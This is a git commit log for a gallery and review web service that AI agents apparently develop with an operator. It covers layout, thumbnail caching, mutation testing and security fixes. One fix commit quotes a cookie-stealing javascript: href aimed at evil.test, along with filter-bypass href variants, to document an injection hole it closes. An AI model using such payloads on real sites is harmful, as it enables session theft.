995e7b9686145c43399d7afebccebc0e77c0d84d
100
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
995e7b9686 |
merge(desk): release and wipe move onto the facts line
The operator: "release and x take up space whether or not they're visible."
Confirmed — opacity:0 hid them while still reserving about 100px of side column
and a 36px row. Each control now sits beside the fact it changes ("kept ·
release", "expires in 22h · keep"), always visible, taking no room of its own,
and nothing hides behind a hover that touch screens never had.
|
||
|
|
704e8cd809 |
fix(desk): the heid bug-hunt panel on the row controls (round "Slate", 4/4)
- Touch: on a coarse pointer every row control is at least 28px square again (32px), and wipe stands clear of the zip link. The move onto the facts line had dropped the deliberate 28px floor to ~21px, 4-6px from zip; with scripts off no confirm fires, so a mis-tap on wipe is the delete. The zip link no longer breaks between its glyph and its word, and each separator is glued to the item after it. - The wipe dialog shows the name as it should be read: control and bidi formatting characters in an agent-made name show as U+FFFD, so U+202E or a newline cannot rewrite what the operator approves. An unknown data-confirm word now prompts generically instead of submitting unguarded (fail closed). - No page scrolls sideways: `code` wraps anywhere, so a long unbreakable install path in the footer or the empty Desk no longer widens every page. The overflow test now sweeps 390/720/850/1000/1400 with the heaviest row the Desk draws, and compares scrollWidth with the page's own clientWidth. Its first fixture used a hyphenated path, which wrapped by itself; the test passed with the bug present until the path became one unbreakable run. r2_flow.toml: 27/27 proved. 749 passed. |
||
|
|
70bfff15cf |
memory: the cache that aged the thing it cached
Two lessons from the thumbnail work, the second of which nearly shipped. We parked progressive loading on a count of images and the cost was in bytes. 'Measure the real booth before optimising it' was followed and still gave the wrong answer, because we measured the dimension that was easy to measure rather than the one the user feels. And a cache living inside the thing it describes can age that thing. Excluding every path under the cache dir passed its own test and was still wrong: creating the directory touches the BOOTH's own mtime, which is what _newest_mtime seeds from. The contents were excluded; the existence was the leak. Had it reached the Desk, one index load would have pushed every booth's expiry out and the TTL would never have fired again. |
||
|
|
d40e8fd4a6 |
fix(desk): a row's keep, release and wipe take no room of their own
Operator, on the live Desk: "release and x take up space whether or not they're visible." They sat in a side column at opacity 0, which hides a control and still reserves its box, and hover-only never worked on touch. Each control now sits on the facts line beside the state it changes: release after "kept", keep after a countdown or hold, wipe last. They are always visible and quiet, and wipe turns danger only under the pointer or focus. The side column renders only when the row carries a badge. The row is flex, so an absent column costs no gap. Forms, POST targets and data-confirm wording are unchanged. The flex row exposed a latent sizing bug: the stacked Desk column was a bare 1fr, whose minimum is its content's, so a long nowrap provenance line scrolled the page sideways at phone width (1029px at 390). It is now minmax(0,1fr). Both behaviours have browser tests, mutation-proved (r2_flow.toml: 21/21). Contract C4 amended. |
||
|
|
ff35023377 |
test(flow): the Desk strip asserts the thumbnail, and says why it moved
design-dev's test read 'the originals shown small (no generated thumbnail)', which was true when written and is precisely what the operator rejected: four images per booth on the page he opens first was the heaviest surface in the service. Declared rather than quietly edited, per the rule that an existing assertion is not changed to make a change pass. The behaviour genuinely changed, on his own instruction to swap all four small surfaces in one commit. Worth recording in the docstring: the URL carries ?thumb=1 from the EXTENSION alone, with no disk read, so a tiny stub fixture still gets the parameter and the route serves the original when there is nothing worth generating. The URL never depends on what is on disk. 39/39 falsifiers proved across both mutation tables. |
||
|
|
9aa91d5dc7 |
merge(r2 follow-up): the EACCES blast radius, and r2's falsifier table
design-dev's two follow-up commits on the R2 branch. |
||
|
|
18d599dd2a |
fix(thumbs): the cache aged the booth it cached, and two more surfaces
Two corrections to the thumbnail work, the first of them a live bug shipped an
hour ago and caught by design-dev before its worst form landed.
⚠ GENERATING A THUMBNAIL RESET THE BOOTH'S EXPIRY CLOCK. `_newest_mtime`
excludes `.lock` sidecars because machinery is not the operator doing something;
the thumbnail cache is machinery too, and it is written by the SERVER on a mere
view. Excluding the cache's CONTENTS turned out not to be enough — creating
`.thumbs/` touches the BOOTH DIRECTORY's own mtime, which is exactly what
_newest_mtime seeds from. The booth's stamp is now restored across the mkdir,
which cannot hide real activity because any file an agent adds is counted by its
own mtime in the same walk.
The failure this prevents is not small. Once the Desk's preview strip pulls a
thumbnail per booth, ONE INDEX LOAD would have pushed every booth's expiry out
and the TTL would never have fired again — nothing would ever sweep. It was
already live for the gallery, one booth at a time.
TWO MORE SURFACES, because the fix only helped where it was wired:
Desk preview strip four small images per booth on the page he opens FIRST.
design-dev measured 28 originals / 24.1 MB on a 12-booth
copy; live has 28. The heaviest surface in the service,
heavier than the gallery it previews.
flag tray _marks.html rendered originals as tray thumbnails.
The review stage stays on the original, because that is the full-size review.
754 green plus the new guards.
|
||
|
|
d5e23c7d5f |
perf(thumbs): the gallery shipped 77 MB to render 250px tiles
The operator found this in about a minute of using the live Desk: "images load
at full resolution instead of calculated thumbnails, which means they load VERY
slowly and are tiny."
MEASURED on the live set:
sindra-corpus-v1 66 images 77.5 MB 1024x1024 each
sindra-sfw-pool 59 images 71.7 MB
sindra 30 images 61.6 MB 2.1 MB average
sindra-bakeoff 40 images 57.2 MB
A tile renders around 250px, so the grid shipped roughly 16x the pixels that
reach the screen.
⚠ OUR PARKING RATIONALE WAS WRONG IN AN INSTRUCTIVE WAY. ROADMAP parked
progressive loading on "the largest gallery is 66 images; at that size a lazy
grid is almost certainly fine", and the parking-lot row said "270 <img
loading=lazy> may be fine". Both count IMAGES. Neither weighs BYTES. We measured
the dimension that was easy to measure rather than the one that determines the
experience, and 66 really is a fine count sitting on a terrible payload.
booth/thumbs.py caches WebP at 512px longest side inside the booth at
`.thumbs/<rel>.webp` — inside on purpose, so a cache can never outlive what it
describes. Pillow is an optional import: absent, every tile falls back to the
original, so the page is heavier and never broken. Generation is lazy, atomic
(temp + os.replace), rebuilt when the source is newer, and NEVER RAISES.
?thumb=1 rides the EXISTING file route rather than growing a new one, because
that route's traversal guard is already correct and a second route is a second
place to get it wrong.
ALSO FIXES A PRE-EXISTING LEAK THE CACHE WOULD HAVE WALKED INTO. booth_items and
zip_booth both tested `p.name.startswith(".")` — the FILE's name — so
`.thumbs/a.png` (name `a.png`) would have rendered as a gallery item and shipped
inside every zip. CLAUDE.md invariant 2 promises a dotfile costs nothing in item
counts, galleries or zips; that was true only at the top level. Both now skip
every dot-prefixed path COMPONENT.
AND THE FILMSTRIP, which is the same defect in a worse place: it shows EVERY
ring item at a few dozen pixels, so full-resolution frames there cost more than
the grid did. The stage is untouched and stays full size, because that is the
full-size review.
Item.thumb is derived in the resolver, not by a template reasoning about `kind`
(INV-1). build_gallery had to carry it too — a missing key there rendered as a
SILENT fallback to the full image, which is exactly where a new Item field gets
dropped with nothing failing.
754 green.
|
||
|
|
39a3cb2262 |
test(r2): commit the round's falsifiers as a mutation table; one flag predicate
tests/mutations/r2_flow.toml: 18 falsifiers, each proved RED under its change by scripts/mutation_check.py (18/18). Its first run found three vacuous proofs, now resolved: - landed_at's per-entry skip: the symlink-loop fixture stopped raising once the clock moved to lstat. New fixture: a folder that lists but cannot be searched. - the Desk's bench URL guard: the test covered bookmarks only. A hand-edited registry bench now rides with it. - flagged_targets' `error is None`: defence in depth (hydration already strips a damaged mark's target), so no single-guard row; named in the table header instead. The rail's flagged filter and the orphan-flag list read flagged_targets rather than restating it; no reachable behaviour changes. |
||
|
|
167f2657c5 |
fix(items): an entry the walk cannot stat costs that entry, not every page
Path.is_file() swallows a missing entry but propagates EACCES. A directory with read and no execute permission lists its names while every stat under it raises, so one such folder in one booth raised out of booth_items — and list_booths calls that for every booth, taking the index down for all of them. The same blast radius as the unrepresentable-filename case; the same posture applies: such an entry is not a renderable file. Predates R2 (identical on main before the merge); found while folding R2's bug-hunt, where it made landed_at's per-entry skip unreachable. |
||
|
|
447a9b67e9 |
fix(links): the board rendered agent-written javascript: hrefs
A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so
javascript:document.location='http://evil.test/'+document.cookie
was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.
links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.
THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.
Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.
Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
|
||
|
|
f43a41fb49 |
docs(roadmap): R2's nine ordering rows, and the zoom-ring row REPLACED not amended
Lifted from r2_flow's INV-2 table rather than rewritten, so the contract and the roadmap cannot drift into two statements of one rule. The zoom-ring row is replaced because review_chain filters to media, not images — 'filtered to images' is now false, and a stale row is invariant 6 failing quietly, which is the only way it ever fails. The ordinal row is the one worth reading: an ordinal counted across ALL items makes '#07' the same tile under every filter. The operator refers to artifacts positionally, and the filters we shipped in U7 had quietly broken that — 'the third one' meant something different depending on which filter was on. Nothing on our side noticed; design-dev proposed it unprompted. |
||
|
|
225570623d |
docs: the dotfile list gains .seen, and names the shape a new one should copy
Held until the merge deliberately: this file describes what is deployed, and writing it while the code sat on another agent's branch would have made our canonical convention document describe a service that was not running. Also records a latent bug the R2 work surfaced in code it did not touch. .blurred stores one stripped rel per line, so a rel carrying a leading space or a newline does not round-trip and blurring ' a.png' can blur 'a.png'. .seen was written as a JSON array for that reason, and additionally opens O_NOFOLLOW | O_NONBLOCK with an S_ISREG check so a planted symlink is refused and a FIFO cannot hang the read — the outage this repo has already paid for once. New dotfiles inherit .seen's shape, not .blurred's. |
||
|
|
1ddd1c5654 |
merge(r2): the review flow — the Desk, the lightbox, the reel
design-dev's R2, built against the operator's 2026-09-23 rulings (a_b /
this_arc / plain / no emblem) and handed over clean. Merged, not rebased: the
branch is another agent's work and its seven TDD commits are the record of how
it was built.
Full house discipline on his side, all complete: contract, heid contract panel
(Lark) folded, seam review against the real modules, TDD slices C1-C7, heid
code-review (Wren) 4/4 folded, heid bug-hunt (Nyx) 4/4 folded. Every new browser
test mutation-checked against its own fix.
Reviewed here before taking it, on the three things only this side knows:
- the quote() guard in the collection loop is intact (it looks like a stray
try around a discarded call, which is how it would get tidied away; it is
what stands between one 0xff filename and a 500 on every booth's card)
- Item.ordinal is APPENDED, not inserted — the mistake we made with
Item.group and two bug-hunt arms flagged
- image_chain stays importable and unchanged; review_chain supersedes it only
for the review route
.seen came back better than specified: O_NOFOLLOW | O_NONBLOCK plus an S_ISREG
check, which defeats a planted symlink AND the FIFO-with-no-writer hang that
cost this service an outage once already, and a JSON array so a rel carrying a
leading space or newline round-trips exactly.
The zoom ring is now review_chain (image, video and audio) rather than
image_chain. That is a declared ordering-rule change and ROADMAP's table moves
with it.
|
||
|
|
77833dc6d4 |
fix(r2): the heid bug-hunt panel (round "Nyx", 4/4) — triaged and folded
In-place client (base.html): - Saves are serialized: POST, re-fetch and swap complete before the next save starts, so an older snapshot can no longer land after a newer one. - A form already queued or in flight ignores another submit; a double-click writes one note. - Dirty controls (drafts, unsent radio choices) and disclosures carry by identity (form action + hidden ask/target/mark/f + name), not position. - Any non-tile structural difference, or a page with no region to swap, reloads instead of patching. Server and templates: - .seen is a JSON array read without following links or blocking, regular files of at most 1 MiB only; malformed, nested-too-deep or planted markers read as nothing seen. - landed_at reads symlinks by lstat and skips one unreadable entry instead of pinning the booth in "new". - The Desk counts flags on current items only; orphan flags are listed under the tray with an unmark form. - Agent-written bench and bookmark URLs link only when http(s). - Audio and video tiles carry a review link. - A rel the filesystem cannot represent is a 404, not a 500. - A non-finite Accept q-value fails to parse. - The standalone marks page has regions and updates in place. - The review's next arrow sits at the edge at phone width. Contract amended for each, plus an accepted-risks section (unlocked .seen read-modify-write, a planted .viewed symlink, Item.ordinal with no default). 741 passed. Each new browser test was mutation-checked against its fix; the serialization test forces the race with a held first refresh, since localhost alone never lost it. |
||
|
|
fa5d46443d |
fix(r2): the heid code-review panel (round "Wren", 4/4) — triaged and folded
Code fixes: - The narrow-screen fold was specified and never built (4/4). The tray and notes are now closed <details> in the aside; above 1000px CSS alone (::details-content) shows them and hides the summary. There is no script. Browser-tested at 390 and 1400, JS on and off. - The lightbox gated on parsed board rows, not page identity (3/4). It now uses is_board, the lesson the bench panel already carried. - wants_json returned True at the first good entry, so a malformed later entry was never read (3/4). It now parses every entry first; any error is False. - One flag predicate, flagged_targets. It serves the Desk count, the tray, the filmstrip, the tape and the review button. An unreadable flag entry counts nowhere. - The header's open count and lifetime line, and the no-set marks panel, are now regions (they were stale after an in-place answer). - Inline group headers render only when every group is one contiguous run. Interleaved directories no longer reprint or misfile headers. - A booth held unreadable has no open_since, even with a readable pick beside the damage. - The swap marks an absent region is-stale instead of leaving it looking current. It carries disclosure state (except the sent form's). The failure message is readable for 0.9 s before the reload. Contract amended where the code was right and the text was not: the wants_json and record_seen signatures, landed_at's three refinements, the group position being ring-based, the end of the set offering every other open pick, the Space-key player exception, and the fold mechanism. New tests cover the parse order; a board with media; the header region; the no-set panel; interleaved groups; mixed damage; the flag predicate; the review recording .viewed; the fold at two widths with JS on and off; the status message before the reload; a lost response after a landed write (exactly one note); a stale absent region; stage node identity across a swap; and F with a radio focused. The lost-response and stale tests turn red under their mutations. 724 passed. |
||
|
|
881c7f5df3 |
docs(r2): correct the provenance of the rewritten keyboard-flag test
The gallery's POST-303-reload was the no-JS design working, and it still is (the INV-4 golden pins it). The defect was the full-size ejection. The test's docstring and the contract's assertions table now say so (booth-dev review). |
||
|
|
2511aab3d6 |
memory: a third way an instrument goes blind — nth-child vs nth-of-type
Credited to design-dev. His R2 order check has a positive control — one tile given order:-1 that the check must catch — and the control went blind when group headers became grid children: nth-child(5) started landing on a header rather than the fifth tile. Same class as the two defects already in this file. A control that no longer controls reads exactly like a passing test; nothing in the output distinguishes 'detected nothing because there was nothing' from 'detected nothing because I am aimed at the wrong element'. The rule: nth-of-type over nth-child wherever the assertion means the Nth TILE rather than the Nth child element. They agree until somebody adds a sibling of a different kind, and adding siblings is what a redesign is. |
||
|
|
8acd10a8d2 |
refactor(r2): drop the kept/ephemeral card CSS; contract marked BUILT
The index no longer renders cards or lanes. Their rules, and the absolute positioning the keep/wipe controls needed to float over a thumbnail, are gone. The controls keep their shared button base; the Desk row and the booth header place them. The contract is marked BUILT on the branch, pending heid code-review and bug-hunt. |
||
|
|
f8cb1b29af |
feat(r2): C6 the review, and C7
- The zoom route becomes the review for image, video AND audio: the native player on the stage for sound and video, the Fit/1:1 toggle for pictures only. The judgment rail, the tape and the filmstrip are each a data-region. The stage never is, so a playing track survives an in-place save. - The rail shows the whole-set number, K of M in the review ring and the position in the group; then the caption, and the flag and notes, landing back here (back=view). A pick targeting this item is answerable in place. On the last item the end-of-set block lists what was seen, the flags, and every other open question. - The keys are ← → Space F N Esc. Every one is ignored in an editable field, and Esc returns to the grid at the tile you were on. - _marks.html gains picks_only/back_view, so a pick form has one renderer wherever it sits. - In-place swaps now carry an unsaved draft across. A half-typed note survives a flag, except in the form that was just sent. - The filmstrip keeps the current frame in view. - C7: no emblem in the chrome, pinned. Browser tests cover: F typed into the note stays a letter and does not flag; F outside the note flags in place and the draft survives; Space moves; Esc lands on the grid tile. 706 passed. |
||
|
|
50f88a3e5e |
feat(r2): C5 the lightbox, and the in-place client
- On a gallery booth the marks panel moves into a sticky verdict aside beside the set. The aside comes first in the document, so a narrow screen stacks the question above the work; grid areas place it on the right when wide. Nothing in an ordered collection moves. Boards are unchanged. - The flag tray lists flagged items by tile number: the declared change from the panel list's (created, id). The standalone marks page keeps the list. - Inline group headers are divs, never figure.item. - Every mark-dependent element is a data-region: the verdict, each tile, the rail's filter counts. There is also a server-rendered status line. - The in-place script (base.html) POSTs with an explicit JSON Accept, then on 204 swaps every region from a fresh GET. Live media and per-viewer view state are carried across the swap, so there is no layout jolt and no stopped track. It never re-POSTs: on failure it says so and reloads. Tile controls re-bind after a swap, and the grid cursor survives it. - The `n` key opens the tile's closed note disclosure before focusing it. - test_embed_browser's keyboard-flag test expected a navigation, which is the defect R2 removes. It is updated as declared in the contract, and tightened: a window marker must survive, proving no reload. Browser tests: flag in place, with no reload and no scroll jump, and the tile, tray and rail count all updated; and a failed save that reloads without re-POSTing. Two mutations turn them red (no carry, no rail region). 700 passed. |
||
|
|
ce27b06f32 |
feat(r2): C4 the Desk — the index triaged by what needs the operator
- list_booths gains open_since (parsed, never compared as text), flags, landed_at (content only; a new, differently named clock, INV-5), viewed_at, and a four-image preview that keeps blur. - The index renders needs you / new since you looked / everything else, always in that order. Needs you includes unreadable marks, so a damaged judgment file cannot hide. Everything else keeps list_booths' order rather than stating a second rule. An empty section renders nothing. - The side column holds live benches (a damaged registry says so), bookmarks from BOOTH_LINKS_BOARD with booth URLs left out (capped at 8), and the pickup form. - test_booth's kept-lane test is rewritten as the contract declared: kept is a fact on each row, not a lane. Two of the new tests were VACUOUS on their first draft, and mutation- checking caught both. The clocks test used a future t0, so a hand-set marker outranked every real write. The look-then-judge test followed the flag's 303, and the resulting GET recorded a fresh look. Both are fixed and now go red under their mutation. |
||
|
|
b9750d221a |
feat(r2): C3 server side — 204 on an explicit JSON Accept, and back=view
- wants_json: true only for an exact `application/json` entry with q > 0. Absent, empty, wildcard, application/*, near misses, q=0 and malformed headers all fall through to the 303. - The four mark routes share one exit, _mark_done: 204 with no body for the in-place client, otherwise _mark_redirect unchanged. - back=view lands on /b/<name>/view?f=<rel>#rail, only for a media item of this booth. It is built from the resolved rel and never echoed. Anything else takes the no-`back` landing. - tests/golden/r2_mark_303.json: 108 responses recorded from the PRE-R2 code (6 route cases x back absent|marks x 9 non-JSON Accepts), replayed byte for byte (INV-4). Two mutations (q>=0, substring match) turn it red. - The contract now states the q=0 rule. |
||
|
|
277554a3f7 |
feat(r2): C1 ordinals and C2 the review ring and .seen
- Item.ordinal: the 1-based position in booth_items over the items that render. It is appended, and set in the resolver. Tiles print it padded to the whole set's width, and a filter never renumbers. - review_chain: the item order filtered to media. It replaces image_chain as the zoom route's ring, so a set of pictures and sound steps through both. image_chain stays importable. - .seen: which media items were looked at full size, written by the review route under record_view's gate. It is rewritten whole: deduplicated, pruned to live items, sorted. The temp file is created with O_EXCL and swapped in with os.replace, so a planted symlink is replaced, never written through. It never raises. Nine new tests. The contiguity and symlink tests are mutation-checked. 669 passed. |
||
|
|
7a4d3fcbf8 |
docs(contract): r2 — fold the heid contract panel (round "Lark", 4/4 arms)
Triaged, not adopted wholesale. Folded: - Reviewing refreshes .viewed, as it already did. It is now stated, so the two clocks cannot read as disagreeing. - INV-4 is scoped to pre-R2 request shapes. back=view is the declared exception. - back=view lands on the review only for media items. Anything else falls back to the booth page. - In-place regions: every element whose content can depend on marks is a region, including the rail counts, the filmstrip and the tape. The stage never is. - The script never re-POSTs. A lost response must not duplicate a note or re-date an answer. - The dangling "invariant 5" now points at the Booth's CLAUDE.md invariant 5. - "M" is defined once. Needs-you is picks only. Every key is suppressed in editable fields. - The toggle and the narrow collapse are classified against INV-3. - Every Booth state file is a dotfile, stated. So are "no generated thumbnails" and the audio placeholder. - The requirement wording is tightened, and C7 records the voice and emblem rulings. |
||
|
|
ea44c18d42 |
docs(contract): r2 — fold booth-dev's items.py notes and the empty-section negative
Ordinal is appended, not inserted. The quote() guard stays, and skipped items take no ordinal. Empty Desk sections do not render; this carries forward the negative half of the kept-lane pair. The 1:1 toggle is bound only when the stage is an image. |
||
|
|
051599a30e |
docs(contract): r2 — the review flow: the Desk, the lightbox, the review
PROPOSED. Ruled by the operator 2026-09-23 (flow: a_b, compare this_arc, voice plain, emblem no). Compare is not in this contract; it follows as r3. Seam-reviewed against the live module surfaces before the cross-frontier contract panel returned. Four findings are folded in: Mark.created is a string, the board is BOOTH_LINKS_BOARD, the bench-read error state, and an unreadable marks file counting as needing the operator. |
||
|
|
bf55364920 |
fix(theme): at phone width the JS-off rail fallback is the measured worst case
booth-dev suggested this. At or below 480px, .item's scroll-margin fallback is 205px, the 16-group rail measured at 390px. With JS on, --rail-h is exact and nothing changes. Measured on the same 76 jumps: - JS off: 0 under the rail, previously 19. At 390px, where a short rail gets the full fallback, tiles overshoot by at most 74px, and they stay visible. - JS on: unchanged, 0 under. 660 passed; visual order still matches document order on 32 renders. |
||
|
|
e8e49ceb14 |
fix(theme): a group jump lands its tile below the sticky rail, not under it
Heid bug-hunt finding (Gróa, relayed by booth-dev). The rail is sticky and nothing set a scroll margin, so a fragment jump left the target tile, and the :target reticle that marks it, hidden under the rail. The rail wraps, so no CSS value can know its height. A small additive script publishes the measured height as --rail-h, and a ResizeObserver keeps it current across widths. .item's scroll-margin-top adds 12px to that. With JS off, a 120px fallback applies. Also styles the new empty-filter row ( |
||
|
|
744fa5263e |
feat(theme): SVOS retheme — concept-round candidate
Re-skins every Booth surface in the SVOS design system (design-systems palettes/svos @ ed2f8d8). Visual and interaction layer only: no route, no copy, no ordering and no information-architecture change. - _svos_tokens.css: SVOS semantic tokens vendored by copy, with the four [data-theme] scopes re-scoped onto prefers-color-scheme and prefers-contrast (dark, light, dark-hc, light-hc). Included into base.html's <style>; cached at startup like every other template. - base.html: the accreted Australis sheet is rewritten against semantic tokens only. It also fixes four undefined variables (--line, --bg, --fg, --muted) that the keep/blur/reveal controls had been reading. The three SVOS devices each have exactly one job: reticle = selection (grid cursor, :target, picked option), hazard = irreversible (Wipe now, armed bulk delete), glow = live power (service dot, live bench). - The flag list renders as wrapped chips, so a large flag set no longer pushes the grid below the fold. The list order is unchanged. - IBM Plex Sans + JetBrains Mono load via Google Fonts with display=swap and system fallbacks (approved by booth-dev). - view.html, doc.html: inline styles moved onto tokens. - embed.js: fragment palette as custom properties scoped to .bk-ask; `.bk-ask-opt:has(input:checked)` still appears exactly once. - Favicon (base.html + app.FAVICON_HREF, kept in sync): graphite tile with reticle corners. Verified: 642 passed, the same count as the pre-change baseline. Visual order matches document order on 32 renders (4 booths x 4 widths x 2 schemes). A positive control, one tile given `order:-1`, is detected by the same check. |
||
|
|
b46ac02be2 |
docs: the four flow rulings, compare unparked, and the beta premise superseded
All four ruled, all four taking design-dev's recommendation, relayed via Miranda with booth-dev as sole relay. Verbatim copy committed at docs/rulings/ because the booth holding it will sweep. Which is the observation worth keeping: answering a pick removes the hold that was protecting the record. A booth is held while its question is OPEN, so its lifetime is shortest exactly when it has just become valuable — before the answer it is a question, after it is the record of a decision, and only the first state is protected. Both design booths hit this by different routes, one withdrawn and one answered. Raised to design-dev as a flow question rather than patched, since flow is his now. Compare mode leaves the parking lot: our deferral, his overrule, recorded as his call so nobody re-parks it by reading the older rule. And v1.0.0b1's 'no new features' promise no longer describes the arc. The tag stays as written — rewriting a released tag to flatter the present is how a version stops being evidence — an alpha drop-back is illegal because 1.0.0a2 sorts below 1.0.0b1, and no further pre-release is cut until the arc lands. |
||
|
|
f87976b54d |
memory: correct a review point we got wrong, rather than leave it to be re-asserted
We read design-dev's 'SET order' as 'the order they were set in' and told him it was already (created, id). He meant the SET's order — by tile number — which genuinely differs: flag #15 then #07 and today's panel lists #15, #07 while his tray lists #07, #15. His rule is also cleaner than the one we proposed. The flag set sorted by its target's position in sorted(rel) is a total order needing no tie-break at all, because rels are unique. The memory row now says so explicitly and tells the next session not to re-raise the point. Round 1's booth is kept; he releases it once the flow ask is ruled. |
||
|
|
af57933255 |
memory: round 2 is up, and the ordering review that preceded it
Four rulings with the operator on booth-flow-concepts. design-dev asked for an invariant-6 check before building, which is the right order and worth recording as the pattern. His ordinals rule is an improvement on invariant 6 rather than compliance with it: an ordinal counting across all items makes a positional reference stable under filters, where today 'the third one' silently means something different the moment a filter is on. Nothing on our side had noticed. Two corrections returned. Flag 'set order' is already (created, id) — set_flag upserts and unflag removes the entry, so created IS the set time; what he actually needs is the tie-break, not a new field. And 'last activity' must reuse _newest_mtime, whose .lock exclusion was paid for: counting our own lock sidecars made reading through a write path look like activity. |
||
|
|
6ba5a83f81 |
docs: the operator moved the design ownership boundary, and the fence was ours
Round 1 ruled not-as-shown: 'He didn't go far enough, still looks like the booth. I want him to consider the flow and the requirements — design touches, layout, usability all belong to him.' The handoff paragraph that said we were not asking for layout changes driven by information architecture is void. design-dev's 'class additions only, no reordering' was that constraint honoured, so the ruling corrects our brief rather than his round — worth recording that way round, because the next session reading only the artifact would read it as a design failure. Flow, layout, usability and the requirements are his now; the IA is no longer fenced off. What survives is split in two on purpose: correctness invariants that are not design opinions, and engineering defaults we chose that he may now argue with, where a dispute goes to the operator rather than being settled between agents. |
||
|
|
dfd806aa9f |
docs(booth.html): name the .rail cross-file contract at the selector that depends on it
The SVOS retheme makes .rail load-bearing in two files owned by two different agents: this template's grid-cursor start, and base.html's --rail-h measuring script that publishes the rail's height for scroll-margin-top (the rail wraps, so no CSS number can know it). Neither breaks loudly if it is renamed. Ours starts the cursor one tile too high; theirs falls back to a fixed guess. design-dev's sheet carries the mirror of this note above the .rail rule, so the coupling is documented from both ends rather than from whichever side happened to notice. |
||
|
|
06d83dfd2f |
memory: the staged design-dev ref moves — read it, do not trust a SHA written here
He rebases onto our main and rewrites the ref in place; it has already gone 878ed86 -> a99b7bb. Merging a SHA copied out of the memory file would merge a pre-rebase branch that predates both his scroll-margin fix and our bug-hunt batch. Third instance of one class today: a 'PUSHED' row that was stale when written, a postbox send-note promoted into durable memory, and now a moving ref recorded by SHA. The file records what was true when written; anything that moves needs a command, not a value. |
||
|
|
1826d19a1f |
memory: the bug-hunt panel, the raw-first fragment trap, and five vacuous falsifiers
The mechanic worth keeping: browsers match a URL fragment against element ids RAW first and percent-decoded only second, so a raw rel on both the anchor and the id is ambiguous rather than merely unencoded — and encoding one side only relocates the collision. The count worth keeping: five falsifiers in one unit were green under the exact change they forbade, three arms finding the same one independently. A guard-strength pass is the highest-value part of a panel on a diff that is already well tested, because the findings sit in the gaps the comments are most confident about. |
||
|
|
397ea89795 |
fix(u7): six defects from the heid bug-hunt panel, and five vacuous falsifiers
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, thread 01M368G2Y0JMTJ2T7M3JMTXV5Z. Four of the six fixes are for defects no test in this repo could have caught, and the panel's guard-strength passes found five of my own falsifiers green under the exact change they forbade. THE 4-OF-4 FINDING — the group anchor could land on the WRONG artifact. The anchor was the raw rel spliced into an href fragment while the tile id was equally raw. A browser matches a fragment against ids RAW FIRST and only then percent-decoded, so raw-on-both-sides is not merely unencoded, it is AMBIGUOUS: with `a b.png` and `a%20b.png` in one booth, the first's href resolves to the fragment `item-a%20b.png` and the raw pass matches the SECOND file's id. That is the misfiled-judgment failure invariant 6 exists to prevent, arriving through a path invariant 6 never looked at. Both sides now use `Item.url` (`quote(rel, safe="/")`), which is injective here and is the convention booth_flag has always used. The original test asserted the href occurred as SOME id on the page — true while pointing at the wrong one. GRÓA'S STRONGEST SOLO — a zero-hit filter removed the way back. The rail was gated on the FILTERED list, so a valid filter with no matches removed the rail, the filter links and the route back to `all`, while the empty-booth branch announced the booth was empty with rail.total still holding the real count. No recovery without editing the address bar, and it degraded the same way with JavaScript off, on the surface the operator actually reviews on. Gated on all_items now, with an explicit no-match row. HULDA — one unrepresentable filename took out the INDEX, not just its booth. A non-UTF-8 filename reaches CPython as a surrogate and quote() raises on it, outside any per-item handler. booth_items feeds list_booths, so one 0xff byte in one booth's filename 500s every booth's card. Such a file cannot be linked, served or zipped, so it is skipped like a dotfile. HULDA — the `f` shortcut has never worked. The selector named `.flagbtn`, which nothing in this repo emits, so it fell through to the hidden target input; clicking a hidden input does not submit its form, and the handler called preventDefault anyway. Now clicks the flag form's real button, verified end to end in a real browser. GRÓA — a group jump was undone by the next keypress. The jump scrolls, the cursor stayed at -1, and the next arrow focused tile 0 and scrolled back. The cursor now picks up from the viewport, which also fixes the general scroll-then-arrow case. Asserted on real scroll geometry in Chromium. HULDA — the caption sidecar was read whole before being truncated, so a pathological file was a MemoryError the OSError handler does not catch. Bounded at the read, and deliberately NOT by st_size: a FIFO reports 0. ACCEPTED KNOWN RISKS, both now documented rather than implied: no cap on rail row count (1,000 groups of two would render 1,000 rows; the largest live booth is 66 items and picking a cap without a booth that needs one is invented work), and Item.group sits mid-dataclass (one construction site, keyword-only, grepped). The docstring now names the UPPER median explicitly — two arms flagged that "the middle group" admits both readings for an even count. FIVE VACUOUS FALSIFIERS, found by the arms and not by me: the anchor test survived v[0]->v[-1]; the informativeness guard survived sizes[-1]; the group count survived len(v)+1; the zero-hit filter test used a fixture that HAD hits; and the escaping test asserted over the whole page, so it went red on a code comment. All rewritten, all mutation-proved. The table is up to 20 rows and one drifted when I changed the line under it — reported by the harness, not silently skipped, which is the behaviour tests/test_mutation_check.py exists to hold. 660 green; 20/20 proved. Deployed; 21/21 booths 200. Held for design-dev, not fixed here: Gróa's finding that the sticky rail has no scroll-margin, so a fragment jump tucks the target under it. It is one line in base.html, the file he is rewriting from scratch. |
||
|
|
6042d10bf3 |
memory: the SVOS concept round is with the operator, and a latent CSS defect it surfaced
